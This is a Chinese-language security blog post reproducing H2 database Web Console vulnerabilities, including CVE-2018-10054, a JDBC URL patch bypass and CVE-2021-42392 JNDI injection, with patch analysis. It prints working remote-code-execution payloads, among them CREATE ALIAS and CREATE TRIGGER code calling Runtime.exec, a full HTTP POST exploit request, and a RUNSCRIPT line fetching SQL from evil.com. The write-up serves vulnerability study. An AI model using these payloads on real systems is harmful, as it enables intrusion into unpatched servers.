h2database Web Console漏洞梳理

本文最后更新于 2025年7月8日 凌晨

由于工作中遇到了h2 Web Console,故想着系统点梳理复现下h2 数据库网页端 的一些漏洞,并记录下复现过程。

Web Console 后台 RCE(CVE-2018-10054)

当Spring Boot集成H2 Database时,如果设置如下选项,将会启用一个Web管理页面:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
    <version>2.7.18</version>
</dependency>
<dependency>
    <groupId>com.h2database</groupId>
    <artifactId>h2</artifactId>
    <version>1.4.197</version>
</dependency>

那先让我们了解下这个漏洞 CVE-2018-10054: 在1.4.198之前的H2 Database版本中,任何用户都可以通过创建新的数据库文件或连接到内存数据库来访问Web管理页面。认证通过后,攻击者可在后台执行代码。
这个漏洞最初被披露出来是配合H2的web页面存在未授权,进而在后台执行sql 来实现RCE,后续又发现页面上的 databaseUrl 可进行JDBC 攻击以及Driver Class可进行JNDI注入攻击。伴随着修修补补,直到2.1.210版本修复了JDBC Attack,Web Console RCE 的问题才得以解决。

具体来说,在后台攻击者可通过以下方式之一执行任意代码:

  • CREATE ALIAS func AS code...; CALL func ... (需要有javac
  • CREATE TRIGGER ... AS code...
  • RUNSCRIPT FROM 'http://evil.com/script.sql'

JDK环境

当目标环境中存在 javac(JDK 环境),可通过 CREATE ALIAS 定义 Java 方法RCE:

CREATE ALIAS EXEC AS 'String rce(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "test";}';
CALL EXEC ('open -a Calculator.app');

JavaScript

当目标Java版本较低(Java8-Java14,Java 15 以后 Java 自带的 Nashorn JavaScript 引擎被删除),可通过 JavaScript 方法RCE:

CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
    var is = java.lang.Runtime.getRuntime().exec("id").getInputStream()
    var scanner = new java.util.Scanner(is).useDelimiter("\\A")
    throw new java.lang.Exception(scanner.next())
$$;

效果如图,id命令被成功执行,结果以异常的形式被抛出:

远程执行sql

第三种远程调用即把sql文件的内容写成上方语句即可:
RUNSCRIPT

Web Console JDBC Attack

需要注意 CVE-2018-10054 的前提条件是能进入到后台执行 sql 处的页面,而 p牛 在文章中指出,可通过 JDBC attack 的方式可以实现前台攻击:

jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
    java.lang.Runtime.getRuntime().exec("open -a Calculator.app")
$$;

数据包如下:

POST /h2-console/test.do?jsessionid=10a8dfbea8f1051801c4a5135ecaccea HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 347
Connection: keep-alive
Cookie: Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1743061416,1743386457; lang=zh-CN
Upgrade-Insecure-Requests: 1
Priority: u=0, i

language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=org.h2.Driver&url=jdbc%3ah2%3amem%3atest%3bMODE%3dMSSQLServer%3bINIT%3dCREATE+TRIGGER+shell3+BEFORE+SELECT+ON+INFORMATION_SCHEMA.TABLES+AS+%24%24%2f%2fjavascript%0a++++java.lang.Runtime.getRuntime().exec(%22open+-a+Calculator.app%22)%0a%24%24%3b&user=sa&password=

JDBC攻击

在后续修复的 1.4.198 版本中,存在这样的一个补丁:默认h2 数据库不允许创建新的数据库( jdbc 连接url拼接 ;FORBID_CREATION=TRUE

我们可以看下改动代码部分来观察如何打补丁的 :
org.h2.server.web.WebServer#getConnection
未改动之前

如上图,在没有打补丁之前,这里只是会判断数据库是否存在,如果不存在,则不会添加IFEXISTS=TRUE,那么在方法内部会隐式创建其内存数据库,进而达到JDBC注入的效果。 我们再来看看补丁改动之后的代码:

https://github.com/h2database/h2database/compare/version-1.4.197...version-1.4.199

diff-1.4.197-1

diff-1.4.197-2

可以看出,IFEXISTS=TRUE 被默认添加进入了databaseURl,然而数据库并不存在,故到后续会抛出异常,达到了阻止漏洞利用的目的。
具体报错看图:

error

此时只能期待蒙对内部代码创建的已存在数据库名?比如存在这样的代码:

String jdbcUrlCreate = "jdbc:h2:mem:test;DB_CLOSE_DELAY=-1"; // 用于创建数据库的连接字符串
// 1. 显式创建数据库
try (Connection connection = DriverManager.getConnection(jdbcUrlCreate, "sa", "")) {
    System.out.println("Database 'test' created successfully.");
} catch (SQLException e) {
    System.err.println("Error creating database: " + e.getMessage());
    e.printStackTrace();
    return; // 提前退出,避免后续连接尝试
}
...
Database 'test' created successfully.
...

其实,还是是有办法攻击的,可通过在databaseUrl 末尾添加反斜杠, 将分号用反斜线转义,分号就会变成一个普通字符串,这样就把源代码中写的拼接字符串 ;IFEXISTS=TRUE 弄失效。

由于h2database的开发历史,这里存在两种情况:在2.0.202版本 引入IGNORE_UNKNOWN_SETTINGS 忽略未知名字属性这个选项之前和之后:

  • 在引入 IGNORE_UNKNOWN_SETTINGS 之前,也就是版本 1.4.1982.0.202 之间:

通过注入已知的属性名比如 AUTHZPWD

jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
    java.lang.Runtime.getRuntime().exec("open -a Calculator.app")
$$;AUTHZPWD=\

before 2.0.202

在版本 1.4.1982.0.210 之间,可支持不识别的属性(更无脑了

在版本2.1.210JDBC Attack被修复,也就是说在版本2.1.210及其之后,Web console登陆页面的RCE问题已被修复。

Web Console JNDI Injection(CVE-2021-42392)

再来关注一下1.4.198之后版本的这部分代码:
org.h2.util.JdbcUtils#getConnection

getConnection

可以看出,这段代码会判断加载进来的 Driver Class 是否实现了 java.sql.Driver接口(父类) 或者javax.naming.Context接口(父类) ,也就是判断加载的类是否是一个 JDBC 驱动程序或 JNDI 上下文,从而选择合适的连接方法。

Web Console 页面上默认的连接是 org.h2.Driver , 其是实现的java.sql.Driver接口。

public class Driver implements java.sql.Driver, JdbcDriverBackwardsCompat {
...

也就是说,我们可以修改默认的 Driver Classjavax.naming.Context,从而实现JNDI注入。

后续Web控制台页面上的JNDI注入的问题在2.0.206中被修复,仅仅允许java:开头

参考:


h2database Web Console漏洞梳理
https://k3ppf0r.github.io/2025/06/25/WEB/h2database/
作者
k3ppf0r
发布于
2025年6月25日
许可协议